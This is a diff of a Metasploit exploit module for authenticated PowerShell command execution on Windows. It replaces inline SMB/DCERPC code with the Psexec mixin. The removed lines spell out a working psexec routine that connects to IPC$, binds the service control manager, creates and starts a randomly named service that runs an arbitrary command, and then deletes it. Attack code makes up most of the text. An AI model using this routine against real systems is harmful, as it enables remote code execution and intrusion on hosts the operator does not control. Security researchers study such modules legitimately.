@@ -14,18 +14,11 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
Rank = ManualRanking
15
15
16
16
# Exploit mixins should be called first
17
- include Msf ::Exploit ::Remote ::DCERPC
18
- include Msf ::Exploit ::Remote ::SMB
19
- include Msf ::Exploit ::Remote ::SMB ::Authenticated
17
+ include Msf ::Exploit ::Remote ::SMB ::Psexec
20
18
include Msf ::Exploit ::Powershell
21
19
include Msf ::Auxiliary ::Report
22
20
include Msf ::Exploit ::EXE
23
21
24
- # Aliases for common classes
25
- SIMPLE = Rex ::Proto ::SMB ::SimpleClient
26
- XCEPT = Rex ::Proto ::SMB ::Exceptions
27
- CONST = Rex ::Proto ::SMB ::Constants
28
-
29
22
def initialize ( info = { } )
30
23
super ( update_info ( info ,
31
24
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution' ,
@@ -112,127 +105,6 @@ def exploit
112
105
end
113
106
end
114
107
115
- # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
116
- # Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
117
- def psexec ( command )
118
-
119
- simple . connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
120
-
121
- handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
122
- vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
123
- dcerpc_bind ( handle )
124
- vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
125
-
126
- vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
127
- scm_handle = nil
128
- stubdata =
129
- NDR . uwstring ( "\\ \\ #{ rhost } " ) +
130
- NDR . long ( 0 ) +
131
- NDR . long ( 0xF003F )
132
- begin
133
- response = dcerpc . call ( 0x0f , stubdata )
134
- if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
135
- scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
136
- end
137
- rescue ::Exception => e
138
- print_error ( "#{ peer } - Error: #{ e } " )
139
- return false
140
- end
141
-
142
- servicename = Rex ::Text . rand_text_alpha ( 11 )
143
- displayname = Rex ::Text . rand_text_alpha ( 16 )
144
- holdhandle = scm_handle
145
- svc_handle = nil
146
- svc_status = nil
147
-
148
- stubdata =
149
- scm_handle +
150
- NDR . wstring ( servicename ) +
151
- NDR . uwstring ( displayname ) +
152
-
153
- NDR . long ( 0x0F01FF ) + # Access: MAX
154
- NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
155
- NDR . long ( 0x00000003 ) + # Start: Demand
156
- NDR . long ( 0x00000000 ) + # Errors: Ignore
157
- NDR . wstring ( command ) +
158
- NDR . long ( 0 ) + # LoadOrderGroup
159
- NDR . long ( 0 ) + # Dependencies
160
- NDR . long ( 0 ) + # Service Start
161
- NDR . long ( 0 ) + # Password
162
- NDR . long ( 0 ) + # Password
163
- NDR . long ( 0 ) + # Password
164
- NDR . long ( 0 ) # Password
165
- begin
166
- vprint_status ( "#{ peer } - Creating the service..." )
167
- response = dcerpc . call ( 0x0c , stubdata )
168
- if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
169
- svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
170
- svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
171
- end
172
- rescue ::Exception => e
173
- print_error ( "#{ peer } - Error: #{ e } " )
174
- return false
175
- end
176
-
177
- vprint_status ( "#{ peer } - Closing service handle..." )
178
- begin
179
- response = dcerpc . call ( 0x0 , svc_handle )
180
- rescue ::Exception
181
- end
182
-
183
- vprint_status ( "#{ peer } - Opening service..." )
184
- begin
185
- stubdata =
186
- scm_handle +
187
- NDR . wstring ( servicename ) +
188
- NDR . long ( 0xF01FF )
189
-
190
- response = dcerpc . call ( 0x10 , stubdata )
191
- if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
192
- svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
193
- end
194
- rescue ::Exception => e
195
- print_error ( "#{ peer } - Error: #{ e } " )
196
- return false
197
- end
198
-
199
- vprint_status ( "#{ peer } - Starting the service..." )
200
- stubdata =
201
- svc_handle +
202
- NDR . long ( 0 ) +
203
- NDR . long ( 0 )
204
- begin
205
- response = dcerpc . call ( 0x13 , stubdata )
206
- if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
207
- end
208
- rescue ::Exception => e
209
- print_error ( "#{ peer } - Error: #{ e } " )
210
- return false
211
- end
212
-
213
- vprint_status ( "#{ peer } - Removing the service..." )
214
- stubdata =
215
- svc_handle
216
- begin
217
- response = dcerpc . call ( 0x02 , stubdata )
218
- if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
219
- end
220
- rescue ::Exception => e
221
- print_error ( "#{ peer } - Error: #{ e } " )
222
- end
223
-
224
- vprint_status ( "#{ peer } - Closing service handle..." )
225
- begin
226
- response = dcerpc . call ( 0x0 , svc_handle )
227
- rescue ::Exception => e
228
- print_error ( "#{ peer } - Error: #{ e } " )
229
- end
230
-
231
- select ( nil , nil , nil , 1.0 )
232
- simple . disconnect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
233
- return true
234
- end
235
-
236
108
def peer
237
109
return "#{ rhost } :#{ rport } "
238
110
end
0 commit comments